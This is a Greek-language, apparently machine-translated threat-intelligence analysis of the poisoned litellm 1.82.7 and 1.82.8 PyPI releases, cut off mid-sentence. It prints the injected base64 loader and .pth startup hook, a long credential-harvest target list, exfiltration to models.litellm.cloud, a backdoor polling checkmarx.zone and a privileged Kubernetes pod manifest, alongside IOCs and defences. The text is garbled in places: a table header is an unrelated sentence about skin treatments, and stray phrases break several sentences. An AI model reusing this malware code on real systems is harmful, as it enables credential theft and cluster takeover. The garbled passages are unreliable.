Γιατί Αυτό Θέματα
Στις 24 Μαρτίου 2026, το δημοφιλές πακέτο Python litellm, μια καθολική πύλη proxy LLM που χρησιμοποιείται από χιλιάδες enterprises για τη δρομολόγηση της κίνησης μεταξύ εφαρμογών και παρόχων Τεχνητής Νοημοσύνης όπως οι OpenAI, Anthropic, Google και AWS Bedrock, παραβιάστηκε σιωπηλά στο PyPI. Δύο δηλητηριασμένες εκδόσεις (1.82.7 και 1.82.8) δημοσιεύθηκαν με διαφορά 13 λεπτών η μία από την άλλη, μεταφέροντας ένα πολυβάθμιο ωφέλιμο φορτίο που έκλεβε διαπιστευτήρια, απομάκρυνε μυστικά cloud, εξαπλώθηκε πλευρικά σε clusters Kubernetes και εγκατέστησε ένα μόνιμο backdoor με δυνατότητες απομακρυσμένης εκτέλεσης κώδικα.
Με περίπου 3.6 εκατομμύρια λήψεις καθημερινά και με βαθιά ανάπτυξη σε υποδομές τεχνητής νοημοσύνης που βασίζονται στο cloud, το litellm βρίσκεται στο σταυροδρόμι όλων όσων επιθυμούν οι σύγχρονοι εισβολείς: κλειδιά API για κάθε σημαντικό πάροχο τεχνητής νοημοσύνης, διαπιστευτήρια cloud IAM, μυστικά Kubernetes και κλειδιά SSH.
Αλλά ο συμβιβασμός της Litellm δεν ήταν ένα μεμονωμένο γεγονός. Ήταν το αποκορύφωμα ενός πενθήμερη εκστρατεία πέντε οικοσυστημάτων από έναν απειλητικό παράγοντα γνωστό ως Ομάδα PCP, μια εκστρατεία που αρχικά δηλητηρίασε σαρωτές ασφαλείας (Aqua Trivy, Checkmarx KICS) και στη συνέχεια χρησιμοποίησε τα κλεμμένα CI/CD διαπιστευτήρια για να διαδώσουν τα δεδομένα τους σε npm, OpenVSX και τέλος PyPI. Οι επιτιθέμενοι οπλοποίησαν τα ίδια τα εργαλεία στα οποία βασίζονται οι οργανισμοί για να προστατεύσουν τις αλυσίδες εφοδιασμού τους.
Αυτή η επίθεση αντιπροσωπεύει μια σημαντική αλλαγή στην πολυπλοκότητα των απειλών στην εφοδιαστική αλυσίδα. Ο σχεδιασμός πολλαπλών βημάτων, διασυνδεδεμένου οικοσυστήματος, θέτει σε κίνδυνο τα εργαλεία ασφαλείας για την επίτευξη υψηλής αξίας. Υποδομή Τεχνητής Νοημοσύνης, αντικατοπτρίζει ένα επίπεδο σχεδιασμού και λειτουργικής ωριμότητας που συνάδει με τα ολοένα και πιο εμπορευματοποιημένα εργαλεία επίθεσης. Τα ωφέλιμα φορτία επαναλήφθηκαν σε πραγματικό χρόνο (τρεις παραλλαγές ωφέλιμου φορτίου εμφανίζονται στον πηγαίο κώδικα, συμπεριλαμβανομένων προηγούμενων εκδόσεων που δεν σχολιάστηκαν), η υποδομή C2 καταχωρήθηκε την ημέρα πριν από την επίθεση και οι τομείς εξαγωγής επιλέχθηκαν προσεκτικά ώστε να μιμούνται την υποδομή νόμιμων προμηθευτών. Ο συστηματικά ολοκληρωμένος συλλέκτης διαπιστευτηρίων, που καλύπτει 15+ κατηγορίες, συμπεριλαμβανομένων εξειδικευμένων στόχων όπως τα κλειδιά υπογραφής Cardano και οι διαμορφώσεις WireGuard, υποδηλώνει έναν βαθμό διεξοδικότητας που υποδηλώνει την ανάπτυξη κακόβουλου λογισμικού με τη βοήθεια της τεχνητής νοημοσύνης ως πολλαπλασιαστή ισχύος.
Χρονολόγιο
| Ημερομηνία (UTC) | Συμβάν |
|---|---|
| Μάρτιος 19 | Το TeamPCP παραβιάζει τις ετικέτες Aqua Trivy GitHub Action, αντικαθιστώντας τες με κακόβουλο κώδικα που εξαφανίζεται CI/CD μυστικά από τα κατάντη αποθετήρια |
| Μάρτιος 21 | Η συμβιβαστική λύση επεκτείνεται στις Checkmarx KICS και AST GitHub Actions χρησιμοποιώντας παρόμοιες τεχνικές |
| 22 Μαρτίου, 06:35 | Το BerriAI δημοσιεύει το litellm 1.82.6 (τελευταία καθαρή έκδοση) μέσω κανονικού CI/CD pipeline που χρησιμοποιεί το Trivy για σάρωση ασφαλείας |
| Μάρτιος 23 | Το TeamPCP καταχωρεί το models.litellm.cloud (τομέας exfiltration). Παραβιάζει 66+ πακέτα npm και επεκτάσεις OpenVSX. |
| 24 Μαρτίου, 10:39 | litellm 1.82.7 δημοσιεύτηκε στο PyPI -- ωφέλιμο φορτίο που εισήχθη στο proxy_server.py στο πεδίο εφαρμογής της ενότητας. Εκτελείται κατά την εισαγωγή |
| 24 Μαρτίου, 10:52 | litellm 1.82.8 δημοσιεύτηκε 13 λεπτά αργότερα -- προσθέτει litellm_init.pth, ένα άγκιστρο διαμόρφωσης διαδρομής Python που εκτελείται σε κάθε εκκίνηση διερμηνέα Python, όχι μόνο σε εισαγωγές litellm. Δείχνει γρήγορη επανάληψη ωφέλιμου φορτίου |
| 24 Μαρτίου, ~16:00 | Το PyPI καταργεί και τις δύο εκδόσεις μετά από αναφορές από την κοινότητα. Οι εκδόσεις διαγράφονται πλήρως (δεν αφαιρούνται) από το ευρετήριο, αν και τα tarball του CDN παραμένουν προσβάσιμα. |
Παράθυρο έκθεσης: περίπου 5.5 ώρες. Κατά τη διάρκεια αυτής της περιόδου, οποιαδήποτε pip install litellm, pip install --upgrade litellm, ή CI/CD pipeline Η λήψη της πιο πρόσφατης έκδοσης θα είχε εκτελέσει το ωφέλιμο φορτίο.
Πώς εισήλθε το κακόβουλο λογισμικό: Η διαδοχική παραβίαση
Το πακέτο litellm δεν παραβιάστηκε άμεσα. Ο εισβολέας έφτασε σε αυτό μέσω ενός επίθεση στην εφοδιαστική αλυσίδα δύο βημάτων:
Aqua Trivy GitHub Action (compromised March 19) --> LiteLLM CI/CD pipeline runs Trivy without pinned version --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI LiteLLM's CI/CD pipeline χρησιμοποιούσε το Trivy ως σαρωτή ασφαλείας — το ίδιο το εργαλείο που είχε σχεδιαστεί για να εντοπίζει τρωτά σημεία ήταν το ίδιο ο φορέας επίθεσης. Επειδή το pipeline αναφέρθηκε στο Trivy με μεταβλητή ετικέτα αντί για καρφιτσωμένη commit SHA, η παραβιασμένη ενέργεια εκτελέστηκε αυτόματα. Η κακόβουλη ενέργεια Trivy απέσπασε μυστικά από το περιβάλλον, συμπεριλαμβανομένου του PYPI_PUBLISH διακριτικό, δίνοντας στην TeamPCP άμεση πρόσβαση δημοσίευσης στο έργο litellm PyPI.
Αυτή η στρατηγική «θέσης σε κίνδυνο τους φρουρούς» αποτελεί σήμα κατατεθέν της καμπάνιας TeamPCP. Στοχεύοντας πρώτα στα εργαλεία ασφαλείας (Trivy, Checkmarx KICS), οι επιτιθέμενοι απενεργοποίησαν ταυτόχρονα την ανίχνευση και απέκτησαν προνομιακή πρόσβαση στις κατάντη αλυσίδες εφοδιασμού.
Τεχνική Ανάλυση: Το Ωφέλιμο Φορτίο
Σημεία ένεσης
Έκδοση 1.82.7 — Εκτέλεση σε επίπεδο ενότητας σε litellm/proxy/proxy_server.py (γραμμή 128):
import subprocess, base64, sys, tempfile, os b64_payload = "<~12KB base64 blob>" with tempfile.TemporaryDirectory() as d: p = os.path.join(d, "p.py") with open(p, "wb") as f: f.write(base64.b64decode(b64_payload)) subprocess.run([sys.executable, p]) Αυτός ο κώδικας βρίσκεται στο πεδίο εφαρμογής της ενότητας μεταξύ ενός λεξικού και του αρχικού κώδικα. showwarning() λειτουργία. Εκτελείται αμέσως όταν litellm.proxy.proxy_server εισάγεται — κάτι που συμβαίνει σε οποιαδήποτε χρήση της λειτουργικότητας proxy του litellm.
Έκδοση 1.82.8 — Προστέθηκε litellm_init.pth (Αρχείο διαμόρφωσης διαδρομής Python):
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) Python .pth αρχεία site-packages/ επεξεργάζονται σε κάθε εκκίνηση του διερμηνέα, αλλά μόνο γραμμές που ξεκινούν με import εκτελούνται ως κώδικας. Ο εισβολέας εκμεταλλεύεται αυτό αλυσιδώνοντας ολόκληρο το ωφέλιμο φορτίο σε ένα μόνο import δήλωση: import os, subprocess, sys; subprocess.Popen(...)Αυτό είναι πολύ πιο επιθετικό από την ένεση proxy_server.py — ενεργοποιείται ακόμα κι αν το litellm δεν εισαχθεί ποτέ, σε κάθε εκκίνηση διεργασίας Python. pyproject.toml τροποποιήθηκε για να συμπεριλάβει αυτό το αρχείο στην διανομή:
include = [ { path = "litellm_init.pth", format = ["sdist", "wheel"] } ] Έτσι, η έκδοση 1.82.8 έχει δύο ανεξάρτητες διαδρομές εκτέλεσης: η ένεση proxy_server.py (ενεργοποιείται κατά την εισαγωγή proxy litellm) και το αρχείο .pth (ενεργοποιείται σε οποιαδήποτε εκκίνηση Python). Ο πλεονασμός είναι από μόνος του αξιοσημείωτος — προστατεύει από την ανίχνευση ή την αφαίρεση οποιασδήποτε διαδρομής μόνο του. Η κλιμάκωση από την εκτέλεση κατά τον χρόνο εισαγωγής στην εκτέλεση κατά τον χρόνο εκκίνησης μόλις 13 λεπτά μετά την έκδοση 1.82.7 υποδηλώνει ότι ο εισβολέας παρακολουθούσε την επιτυχία της ανάπτυξης και έκανε ταχείες επαναλήψεις.
Στάδιο 1: Ολοκληρωμένη Συγκομιδή Πιστοποιητικών
Το αποκωδικοποιημένο εσωτερικό σενάριο είναι ένα σχολαστικό κενό διαπιστευτηρίων. Χρησιμοποιεί os.walk(), glob.glob(), subprocess.check_output()και το άμεσο αρχείο διαβάζει για να σαρώσει ολόκληρο το σύστημα:
| Κατηγορία | Όταν πρόκειται για αναζωογόνηση του δέρματος, υπάρχουν δύο δημοφιλείς επιλογές: το Ultherapy και το HIFU. |
|---|---|
| Αναγνώριση συστήματος | hostname, whoami, uname -a, ip addr, printenv, ip route |
| SSH | ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; κλειδιά κεντρικού υπολογιστή από /etc/ssh/ |
| Cloud (AWS) | ~/.aws/credentials, ~/.aws/configΔιαπιστευτήρια ρόλου IMDS μέσω 169.254.169.254Διευθυντής Μυστικών ListSecrets; SSM DescribeParameters |
| Cloud (GCP) | ~/.config/gcloud/ (αναδρομικό); $GOOGLE_APPLICATION_CREDENTIALS |
| Σύννεφο (Γαλάζιο) | ~/.azure/ (αναδρομικό); μεταβλητές περιβάλλοντος |
| Kubernetes | διακριτικά λογαριασμού υπηρεσίας· ca.crt; χώρος ονομάτων; kubectl get secrets --all-namespaces; όλα τα μυστικά μέσω του API K8s |
| Αρχεία περιβάλλοντος | .env, .env.local, .env.production, .env.development, .env.staging — αναζητήθηκε αναδρομικά (βάθος 6) σε όλη /home, /root, /opt, /srv, /var/www, /app, /data, /tmp |
| Λιμενεργάτης | ~/.docker/config.json, /kaniko/.docker/config.json |
| Πακέτα tokens | ~/.npmrc, ~/.vault-token, ~/.netrc |
| Βάσεις Δεδομένων | ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, Διαμορφώσεις MongoDB |
| TLS / SSL | Ιδιωτικά κλειδιά από /etc/ssl/private/, Ας κρυπτογραφήσουμε όλα τα πιστοποιητικά .pem/.key/.p12/.pfx αρχεία |
| Git | ~/.git-credentials, ~/.gitconfig |
| CI/CD | terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg |
| Πορτοφόλια Crypto | Bitcoin, αποθήκευση κλειδιών Ethereum, ζεύγη κλειδιών Solana (επικυρωτής, ψηφοφορία, stake, faucet), κλειδιά υπογραφής Cardano, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero |
| Ιστορία του κελύφους | .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history |
| Εξουσιοδότηση συστήματος | /etc/passwd, /etc/shadow, αρχεία καταγραφής εξουσιοδότησης (αποδεκτές συνεδρίες SSH) |
| Κλειδιά Webhook/API | Grep για Slack webhooks, Ιστός Discordhooks, Κλειδιά/μυστικά API σε αρχεία ρυθμίσεων |
| VPN | Διαμορφώσεις WireGuard από /etc/wireguard/ |
Το πεδίο εφαρμογής αυτού του harvester είναι εγκυκλοπαιδικό. Στοχεύει όχι μόνο σε διαπιστευτήρια cloud, αλλά και σε πορτοφόλια κρυπτονομισμάτων, κωδικούς πρόσβασης βάσεων δεδομένων, διαμορφώσεις VPN και CI/CD μυστικά — υποδηλώνοντας ότι ο εισβολέας σκοπεύει να δημιουργήσει έσοδα από παραβιασμένα συστήματα σε πολλαπλούς φορείς.
Στάδιο 2: Κρυπτογραφημένη εξαγωγή
Τα κλεμμένα δεδομένα κρυπτογραφούνται και απομακρύνονται χρησιμοποιώντας ένα υβριδικό σχήμα κρυπτογράφησης:
- AES-256-CBC κρυπτογράφηση όλων των συλλεγόμενων δεδομένων με ένα τυχαίο κλειδί συνεδρίας 32 byte (μέσω
openssl enc) - RSA-4096 κρυπτογράφηση του κλειδιού συνεδρίας χρησιμοποιώντας το ενσωματωμένο δημόσιο κλειδί του εισβολέα (συμπλήρωση OAEP, μέσω
openssl pkeyutl) - Και τα δύο αρχεία κρυπτογραφημένου κειμένου ομαδοποιούνται ως
tpcp.tar.gz(Ηtpcpτο πρόθεμα — «TeamPCP» — εμφανίζεται με συνέπεια σε όλη την καμπάνια) - HTTPS POST προς
https://models.litellm.cloud/μαζί σου,Content-Type: application/octet-stream
Ο τομέας models.litellm.cloud καταχωρήθηκε στις 23 Μαρτίου — μία ημέρα πριν από την επίθεση — και έχει σχεδιαστεί για να συνδυάζεται με νόμιμη υποδομή litellm (το πραγματικό έργο χρησιμοποιεί litellm.aiΑκόμα και ένας υπερασπιστής που γνωρίζει το δίκτυο και εξετάζει την κίνηση εξόδου ενδέχεται να μην επισημαίνει την κίνηση σε αυτό που φαίνεται να είναι το τελικό σημείο του μοντέλου της litellm.
Στάδιο 3: Επίμονη κερκόπορτα (sysmon.py)
Το ωφέλιμο φορτίο εγκαθιστά μια κερκόπορτα polling που μεταμφιέζεται ως τηλεμετρία συστήματος:
- μονοπάτι:
~/.config/sysmon/sysmon.py - Υπηρεσία:
sysmon.service(μονάδα χρήστη systemd, που περιγράφεται ως «Υπηρεσία Τηλεμετρίας Συστήματος») - ΣυμπεριφοράΜετά από έναν αρχικό ύπνο 300 δευτερολέπτων, οι δημοσκοπήσεις
https://checkmarx.zone/rawκάθε ~50 λεπτά - Εκτέλεση: Λήψη της διεύθυνσης URL που επιστρέφεται από το C2 στο
/tmp/pglog, το ορίζει ως εκτελέσιμο (chmod 755), το εκτελεί σε μια αποσπασμένη συνεδρία - Παρακολούθηση κατάστασης:
/tmp/.pg_stateαποτρέπει την εκ νέου λήψη του ίδιου ωφέλιμου φορτίου - Επιμονή:
Restart=always,RestartSec=10— επιβιώνει από κολλήματα και επανεκκινήσεις
Ο τομέας checkmarx.zone είναι ένας τυπογραφικός άγνωστος της Checkmarx (της εταιρείας ασφαλείας στο checkmarx.com), σχεδιασμένο έτσι ώστε οι αναλυτές SOC που εξετάζουν τα αρχεία καταγραφής δικτύου να βλέπουν την κίνηση προς αυτό που φαίνεται να είναι ένας νόμιμος προμηθευτής ασφάλειας. Πρόκειται για μια σκόπιμη τεχνική αποφυγής που συνάδει με την ευρύτερη στρατηγική της TeamPCP να κρύβεται πίσω από την επωνυμία του προμηθευτή ασφάλειας.
Στάδιο 3β: Πλευρική Κίνηση Κουμπερνέτης
Εάν το παραβιασμένο σύστημα έχει διαπιστευτήρια λογαριασμού υπηρεσίας Kubernetes, το κακόβουλο λογισμικό απαριθμεί όλους τους κόμβους του συμπλέγματος και αναπτύσσει προνομιούχες κάψουλες σε κάθε ένα:
pod_manifest = { 'apiVersion': 'v1', 'kind': 'Pod', 'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'}, 'spec': { 'nodeName': node_name, 'hostPID': True, 'hostNetwork': True, 'tolerations': [{'operator': 'Exists'}], 'containers': [{ 'name': 'setup', 'image': 'alpine:latest', 'command': ['sh', '-c', drop_cmd], 'securityContext': {'privileged': True}, 'volumeMounts': [{'name': 'host', 'mountPath': '/host'}] }], 'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}], 'restartPolicy': 'Never' } } Κάθε κάψουλα:
- Εκτελείται ως προνομιούχος μαζί σου,
hostPID,hostNetworkκαι πλήρη πρόσβαση στο σύστημα αρχείων του κεντρικού υπολογιστή -
chroot /hostνα εγκαταστήσετε το ίδιοsysmon.pybackdoor στο ριζικό σύστημα αρχείων του κεντρικού υπολογιστή - Το καταχωρεί ως συστημική υπηρεσία, διασφαλίζοντας ότι η διατήρηση της διαγραφής του pod παραμένει σταθερή.
- Ονομάστηκε
node-setup-*στοkube-systemο χώρος ονομάτων να εμφανίζεται ως νόμιμη υποδομή συμπλέγματος
Αυτό σημαίνει α μοναδικό παραβιασμένο CI/CD Ένας δρομέας με πρόσβαση K8s θα μπορούσε να οδηγήσει σε backdooring κάθε κόμβου στο σύμπλεγμα — ένα καταστροφικό σενάριο πλευρικής κίνησης για οργανισμούς που εκτελούν το litellm ως πληρεξούσιο στο Kubernetes.
Εξέλιξη ωφέλιμου φορτίου (Παραλλαγές που σχολιάστηκαν)
Ο πηγαίος κώδικας στις γραμμές 131-132 περιέχει δύο προηγούμενες παραλλαγές ωφέλιμου φορτίου που δεν έχουν σχολιαστεί, αποκαλύπτοντας τη διαδικασία ανάπτυξης του εισβολέα:
- Και οι τρεις παραλλαγές μοιράζονται την ίδια υποδομή απαγωγής (
models.litellm.cloud), δημόσιο κλειδί RSA-4096, περιτύλιγμα υβριδικής κρυπτογράφησης AES-256-CBC + RSA, καιtpcp.tar.gzονομασία δέσμης - Παλαιότερες παραλλαγές πρόσθεσε ένα Επίπεδο κρυπτογράφησης RC4 μέσα στο σενάριο συλλογής δεδομένων, κρυπτογραφώντας τα συλλεγόμενα δεδομένα πριν από το εξωτερικό περιτύλιγμα AES+RSA. Το ενεργό ωφέλιμο φορτίο (γραμμή 130) απλοποιήθηκε αφαιρώντας αυτό το εσωτερικό επίπεδο RC4
- Οι παλαιότερες παραλλαγές χρησιμοποιούν
exec()μαζί σου,StringIOκαταγραφή για να εκτελέσει τον συλλέκτη σε εξέλιξη, ενώ το ενεργό ωφέλιμο φορτίο χρησιμοποιείsubprocess.run()με ανακατεύθυνση stdout — ένας καθαρότερος διαχωρισμός που αποφεύγει τη μόλυνση της διεργασίας υποδοχής - Και οι τρεις παραλλαγές στοχεύουν στις ίδιες κατηγορίες διαπιστευτηρίων και διαδρομές συλλογής
- Το κλειδί RC4 στις προηγούμενες παραλλαγές ήταν μια προκλητική προσβολή, σύμφωνη με τη συμπεριφορά του ηθοποιού που αναζητούσε την προσοχή στο Telegram.
Αυτό αποκαλύπτει ενεργή ανάπτυξη κατά τη διάρκεια της επιχείρησης. Ο εισβολέας απλοποίησε τη στοίβα κρυπτογράφησης και βελτίωσε την απομόνωση εκτέλεσης, διατηρώντας παράλληλα σταθερούς τους στόχους συλλογής και την υποδομή εξαγωγής.
Δείκτες Συμβιβασμού (ΔΣ)
Δίκτυο
| Δείκτης | Χαρακτηριστικά | Σκοπός |
|---|---|---|
models.litellm.cloud | Domain | Τελικό σημείο διήθησης (HTTPS POST) |
checkmarx.zone | Domain | Τελικό σημείο σταθμοσκόπησης C2 (HTTPS GET /raw) |
Σημείωση: Εξωτερικοί σύνδεσμοι αναφοράς checkmarx.zone/static/checkmarx-util-1.0.4.tgz στην προηγούμενη φάση KICS της καμπάνιας TeamPCP. Αυτή η διεύθυνση URL δεν βρέθηκε στα φορτία litellm που αναλύθηκαν εδώ.
Hashes πακέτων
| Αρχεία | SHA256 |
|---|---|
litellm-1.82.7.tar.gz | 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea |
litellm-1.82.8.tar.gz | d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5 |
Σύστημα αρχείων
| Δείκτης | Χαρακτηριστικά | Σκοπός |
|---|---|---|
~/.config/sysmon/sysmon.py | Αρχεία | Μόνιμο σενάριο backdoor |
~/.config/systemd/user/sysmon.service | Αρχεία | Μονάδα διατήρησης Systemd |
/tmp/pglog | Αρχεία | Λήψη δυαδικού αρχείου δεύτερου σταδίου |
/tmp/.pg_state | Αρχεία | Παρακολούθηση κατάστασης C2 |
litellm_init.pth in site-packages/ | Αρχεία | Άγκιστρο εκκίνησης Python (μόνο έκδοση 1.82.8) |
tpcp.tar.gz | Αρχεία | Κρυπτογραφημένη δέσμη εξαγωγής |
Kubernetes
| Δείκτης | Χαρακτηριστικά | Σκοπός |
|---|---|---|
node-setup-* κάψουλες σε kube-system | Τσόφλι | Προνομιακά λοβοί πλευρικής κίνησης |
sysmon.service σε κόμβους συμπλέγματος | Υπηρεσία | Επιμονή σε επίπεδο κεντρικού υπολογιστή μέσω διαφυγής pod |
Κρυπτογραφικό
| Δείκτης | Λεπτομέρειες |
|---|---|
| Δημόσιο κλειδί RSA-4096 του εισβολέα | Δακτυλικό αποτύπωμα SHA256: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8Ενσωματωμένο και στις τρεις παραλλαγές ωφέλιμου φορτίου. Το ίδιο κλειδί αναφέρθηκε σε άλλες λειτουργίες του TeamPCP. |
tpcp πρόθεμα σε τεχνουργήματα | Σύμβαση ονομασίας δέσμης (tpcp.tar.gz) συνεπές σε όλη την καμπάνια |
Αναφορά: TeamPCP
Ο απειλητικός παράγοντας πίσω από αυτήν την καμπάνια παρακολουθείται ως Ομάδα PCP, επίσης γνωστό ως PCPcat, Persy_PCP, ShellForce και DeadCatx3.
Γνωστά χαρακτηριστικά:
- Διατηρεί κανάλια Telegram στο
@Persy_PCPκαι@teampcpόπου κορόιδευαν εταιρείες security - Λειτουργεί σε πολλαπλά οικοσυστήματα (GitHub Actions, PyPI, npm, OpenVSX)
- Χρησιμοποιεί τομείς typosquat συγκεκριμένους για κάθε προμηθευτή για κάθε φάση της καμπάνιας (π.χ.,
checkmarx.zoneγια τον Checkmarx,models.litellm.cloudγια litellm) - Συνεπείς δείκτες υποδομής: ίδιο ζεύγος κλειδιών RSA,
tpcp.tar.gzσύμβαση ονοματοδοσίας,tpcp-docs-*Αποθετήρια GitHub που χρησιμοποιούνται ως dead-drop staging - Στοχεύει τα εργαλεία ασφαλείας ως σημεία εισόδου στις κατάντη αλυσίδες εφοδιασμού
Εμπιστοσύνη απόδοσης: Υψηλό. Το κοινόχρηστο δημόσιο κλειδί RSA, tpcp Η ονομασία των τεχνουργημάτων, η επικάλυψη της υποδομής C2 και ο ρυθμός λειτουργίας κατά τη διάρκεια της πενθήμερης καμπάνιας συνδέουν έντονα τις παραβιάσεις των Trivy, KICS, npm, OpenVSX και litellm με τον ίδιο παράγοντα.
ΚινητοποίησηΠιθανοί οικονομικοί παράγοντες (κλοπή κρυπτονομισμάτων, δημιουργία εσόδων από διαπιστευτήρια στο cloud) σε συνδυασμό με κακή φήμη (χλευασμός μέσω Telegram). Το εύρος της συλλογής διαπιστευτηρίων — από το AWS IAM έως τα ζεύγη κλειδιών επικύρωσης Solana και τις διαμορφώσεις WireGuard — υποδηλώνουν έναν οικονομικά κίνητρο που επιδιώκει να μεγιστοποιήσει την απόδοση επένδυσης (ROI) από κάθε παραβίαση.
Πιθανή βοήθεια από την Τεχνητή ΝοημοσύνηΟ συλλέκτης διαπιστευτηρίων είναι συστηματικά περιεκτικός — 15+ κατηγορίες, συμπεριλαμβανομένων εξειδικευμένων στόχων όπως κλειδιά υπογραφής Cardano, διαμορφώσεις WireGuard και διαπιστευτήρια Kaniko Docker — με τρόπο που να συνάδει με την απαρίθμηση με τη βοήθεια της Τεχνητής Νοημοσύνης. Η ταχύτητα επανάληψης του ωφέλιμου φορτίου (τρεις παραλλαγές με διαφορετικά σχήματα κρυπτογράφησης), ο συντονισμός μεταξύ οικοσυστημάτων (5 οικοσυστήματα σε 5 ημέρες) και το λειτουργικό OPSEC (τομείς που μιμούνται προμηθευτές, υβριδική κρυπτογράφηση, συστημική επιμονή μεταμφιεσμένη ως τηλεμετρία) υποδηλώνουν ένα επίπεδο απόδοσης που μπορεί να αντικατοπτρίζει την ανάπτυξη με τη βοήθεια της Τεχνητής Νοημοσύνης ως πολλαπλασιαστή ισχύος. Αυτή η αξιολόγηση είναι εικασία. Οι έμπειροι χειριστές θα μπορούσαν να επιτύχουν παρόμοιο εύρος χωρίς εργαλεία Τεχνητής Νοημοσύνης.
Νέα TTP και Τεχνικές
1. Δηλητηρίαση στην αλυσίδα εφοδιασμού εργαλείων ασφαλείας (παραλλαγή T1195.002)
Η παραβίαση σαρωτών ασφαλείας (Trivy, KICS) ως πρώτο βήμα για την προσέγγιση των κατάντη στόχων αποτελεί μια νέα κλιμάκωση. Ο εισβολέας δεν παραβίασε απλώς μια βιβλιοθήκη — παραβίασε τα εργαλεία που χρησιμοποιούν οι οργανισμοί για να ανίχνευση παραβιασμένες βιβλιοθήκες. Αυτό δημιουργεί ένα τυφλό σημείο: ο σαρωτής που θα πρέπει να εντοπίσει τον κακόβουλο κώδικα είναι ο ίδιος ο μηχανισμός παράδοσης.
2 Python .pth Μόνιμη Αρχεία (T1546)
The litellm_init.pth η τεχνική στην έκδοση 1.82.8 είναι ιδιαίτερα ύπουλη. Python .pth αρχεία site-packages/ υποβάλλονται σε επεξεργασία σε κάθε εκκίνηση του διερμηνέα· οποιαδήποτε γραμμή που ξεκινά με import εκτελείται ως κώδικας. Συνδέοντας το ωφέλιμο φορτίο σε ένα μόνο import Σύμφωνα με τη δήλωση, ο εισβολέας επιτυγχάνει εκτέλεση σε κάθε διεργασία Python — όχι μόνο όταν εισάγεται το litellm. Αυτό σημαίνει ότι το ωφέλιμο φορτίο ενεργοποιείται ακόμα και αν το litellm είναι εγκατεστημένο αλλά δεν χρησιμοποιείται ποτέ, και επιβιώνει από διόρθωση που αντικαθιστά το παραβιασμένο .py αρχεία χωρίς έλεγχο για .pth αρχεία.
3. Πλευρική Κίνηση Kubernetes σε Όλο το Σμήνος μέσω Προνομιακής Ανάπτυξης Pod (T1610, T1611)
Η αυτοματοποιημένη δημιουργία προνομιούχων ομάδων (pods) σε κάθε κόμβο συμπλέγματος — με hostPID, hostNetwork, προσάρτηση συστήματος αρχείων κεντρικού υπολογιστή και chroot Για την εγκατάσταση της persistence — η ανάπτυξη κοντέινερ (T1610) συνδέεται αλυσιδωτά με την εντολή escape στον κεντρικό υπολογιστή (T1611) για να μετατραπεί ένα μεμονωμένο παραβιασμένο φόρτο εργασίας σε πλήρη παραβίαση συμπλέγματος.
4. Υποδομή C2 που μιμείται τον προμηθευτή
Χρησιμοποιώντας models.litellm.cloud (μιμείται το litellm) και checkmarx.zone (μιμείται το Checkmarx) ως τελικά σημεία C2/exfil έχει σχεδιαστεί για να αποφεύγει την παρακολούθηση δικτύου. Οι αναλυτές SOC που εξετάζουν την κυκλοφορία εξόδου θα έβλεπαν συνδέσεις HTTPS σε αυτό που φαίνεται να είναι νόμιμοι τομείς προμηθευτών.
5. Ταχεία Επανάληψη Ωφέλιμου Φορτίου Εν Πτήση
Η δημοσίευση της έκδοσης v1.82.7 με εκτέλεση κατά τον χρόνο εισαγωγής και, στη συνέχεια, της έκδοσης v1.82.8 με εκτέλεση κατά τον χρόνο εκκίνησης 13 λεπτά αργότερα, δείχνει τον εισβολέα να παρακολουθεί και να προσαρμόζεται σε πραγματικό χρόνο. Οι παραλλαγές ωφέλιμου φορτίου που δεν έχουν σχολιαστεί (με διαφορετικά σχήματα κρυπτογράφησης) που διατηρούνται στον πηγαίο κώδικα επιβεβαιώνουν την ενεργή ανάπτυξη κατά τη διάρκεια της λειτουργίας.
Τί μπορεί να γίνει
Αυτή η επίθεση εκμεταλλεύεται την εμπιστοσύνη σε κάθε επίπεδο: εμπιστοσύνη στα εργαλεία ασφαλείας, εμπιστοσύνη στα μητρώα πακέτων, εμπιστοσύνη σε γνωστούς τομείς, εμπιστοσύνη σε CI/CD αυτοματισμού. Η άμυνα εναντίον του απαιτεί την ενίσχυση καθενός από αυτά τα όρια εμπιστοσύνης:
Για καταναλωτές πακέτων
- Καρφίτσωμα εξαρτήσεων κατά hash, όχι μόνο κατά έκδοση.
pip install litellm==1.82.6 --hash=sha256:...θα είχε εμποδίσει την εγκατάσταση των παραβιασμένων εκδόσεων, ακόμη και αν εμφανίζονταν για λίγο ως η πιο πρόσφατη έκδοση. - Χρησιμοποιήστε αρχεία κλειδώματος.
pip-compile,poetry.lockκαιuv.lockκαταγράψτε ακριβείς εκδόσεις και hashes. CI/CD θα πρέπει να εγκατασταθεί από lockfiles, όχι από floating version specifier. - Παρακολούθηση για
.pthαρχεία. Τακτικά έλεγχοςsite-packages/για απροσδόκητα.pthαρχεία — εκτελούνται σε κάθε εκκίνηση της Python και αποτελούν έναν υποτιμημένο μηχανισμό διατήρησης. - Εφαρμογή ελέγχων δικτύου εξόδου. Η εκδιήθηση προς
models.litellm.cloudκαι ψηφοφορία C2 προςcheckmarx.zoneθα μπορούσε να έχει εντοπιστεί από φιλτράρισμα εξόδου βάσει λίστας επιτρεπόμενων σε περιβάλλοντα παραγωγής.
Για Συντηρητές Πακέτων
- Καρφώστε CI/CD ενέργειες από commit SHA, όχι ετικέτα. LiteLLM's pipeline χρησιμοποιούσε το Trivy χωρίς καρφιτσωμένη έκδοση. Αν είχε αναφερθεί
